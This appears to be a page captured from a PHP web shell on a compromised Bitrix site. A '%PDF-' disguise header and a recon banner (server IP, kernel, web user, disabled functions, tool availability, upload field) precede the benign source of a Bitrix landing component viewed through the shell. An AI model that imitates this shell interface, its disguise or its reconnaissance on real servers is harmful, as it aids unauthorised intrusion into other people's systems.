%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.137.223.255 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.blocks.openlines/ |
Upload File : |
<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) { die(); } use Bitrix\Main\Loader; use Bitrix\Main\Localization\Loc; use Bitrix\Landing; use Bitrix\Landing\Hook\Page\B24button; use Bitrix\Main\Text\HtmlFilter; use Bitrix\Socialservices\ApClient; use Bitrix\Crm\UI\Webpack\Button; /** * Class LandingBlocksOlComponent */ class LandingBlocksOlComponent extends \CBitrixComponent { /** * Base executable method. * @return void * @noinspection PhpMissingParentCallCommonInspection */ public function executeComponent(): void { // @hack: in this component we not init b24 button. We assume that it exists on the page. // If no button - widget will not work :( $this->arParams['ERRORS'] = []; $this->arParams['EDIT_MODE'] = Landing\Landing::getEditMode() ? 'Y' : 'N'; if ($this->checkWidgetId()) { $widgetsData = $this->getWidgetsForButton($this->arParams['BUTTON_ID']); $this->arParams['WIDGETS'] = $widgetsData['widgets']; $this->prepareWidgetsToPrint(); } $this->includeComponentTemplate(); } /** * @return bool true if OK, false - if some error */ protected function checkWidgetId(): bool { if (!isset($this->arParams['BUTTON_ID']) || !$this->arParams['BUTTON_ID']) { if (empty(B24button::getButtonsData())) { $title = Loc::getMessage('LANDING_CMP_OL_NO_BUTTON'); $text = ''; if (Landing\Manager::isB24() && Loader::includeModule('crm')) { $link = '/crm/button/'; $text = Loc::getMessage( 'LANDING_CMP_OL_NO_BUTTON_CP', [ '#LINK1#' => '<a href="' . $link . '" target="_blank" class="landing-trusted-link">', '#LINK2#' => '</a>', ] ); } else if (Landing\Manager::isB24Connector()) { $link1 = '/bitrix/admin/module_admin.php'; $link2 = '/bitrix/admin/b24connector_buttons.php?lang=' . LANGUAGE_ID; $text = Loc::getMessage( 'LANDING_CMP_OL_NO_BUTTON_SM', [ '#LINK1#' => '<a target="_blank" class="landing-trusted-link" href="' . $link1 . '">', '#LINK2#' => '</a>', '#LINK3#' => '<a target="_blank" class="landing-trusted-link" href="' . $link2 . '">', '#LINK4#' => '</a>', ] ); } $this->arParams['ERRORS'][] = [ 'title' => $title, 'text' => $text, ]; } // something wrong else { $this->arParams['ERRORS'][] = [ 'title' => Loc::getMessage('LANDING_CMP_OL_NO_BUTTON_ID'), 'text' => Loc::getMessage('LANDING_CMP_OL_NO_BUTTON_ID'), ]; } return false; } if ($this->arParams['BUTTON_ID'] === 'N') { $this->arParams['ERRORS'][] = [ 'title' => Loc::getMessage('LANDING_CMP_OL_BUTTON_NO_CHOOSE'), 'text' => Loc::getMessage('LANDING_CMP_OL_BUTTON_NO_CHOOSE_TEXT'), 'button' => [ 'text' => Loc::getMessage('LANDING_CMP_OL_BUTTON_NO_CHOOSE_BUTTON'), 'href' => '', 'onclick' => 'BX.PreventDefault(); BX.SidePanel.Instance.open(landingParams[\'PAGE_URL_SITE_EDIT\'] + \'#b24widget\');', ], ]; return false; } return true; } /** * Get all channels for widget by ID * @param $buttonId * @return array * @throws \Bitrix\Main\ArgumentException * @throws \Bitrix\Main\ArgumentNullException * @throws \Bitrix\Main\LoaderException * @throws \Bitrix\Main\SystemException */ protected function getWidgetsForButton($buttonId): array { $widgets = []; if (Landing\Manager::isB24() && Loader::includeModule('crm')) { $button = Button::instance($buttonId); $button->configure(); foreach ($button->getWidgets() as $widget) { $widgets['widgets'][] = $widget; } } // site manager elseif (Landing\Manager::isB24Connector()) { $client = ApClient::init(); if ($client) { $resWidgets = $client->call( 'crm.button.widgets.get', [ 'ID' => $buttonId, ] ); if (empty($resWidgets['error'])) { if (isset($resWidgets['result']) && is_array($resWidgets['result'])) { $widgets = $resWidgets['result']; } } elseif ($resWidgets['error'] === 'ERROR_METHOD_NOT_FOUND') { $this->arParams['ERRORS'][] = [ 'title' => Loc::getMessage('LANDING_CMP_OL_BUTTON_REST_ERROR'), 'text' => Loc::getMessage('LANDING_CMP_OL_BUTTON_REST_ERROR_DESC'), ]; } else { $this->arParams['ERRORS'][] = [ 'title' => $resWidgets['error'], 'text' => $resWidgets['error_description'], ]; } } } return $widgets; } protected static function getAvailableChannelTypes(): array { return ['openline']; } protected function prepareWidgetsToPrint(): void { foreach ($this->arParams['WIDGETS'] as $key => $widget) { if (!in_array($widget['type'], self::getAvailableChannelTypes(), true)) { unset($this->arParams['WIDGETS'][$key]); continue; } $classList = 'landing-b24-widget-button-social-item ' . implode(' ', $widget['classList']) . ' '; $classList = trim(str_replace(['ui-icon ', 'connector-icon-45 '], '', $classList)); $this->arParams['WIDGETS'][$key]['classList'] = $classList; $this->arParams['WIDGETS'][$key]['title'] = HtmlFilter::encode(strip_tags($this->arParams['WIDGETS'][$key]['title'])); } } }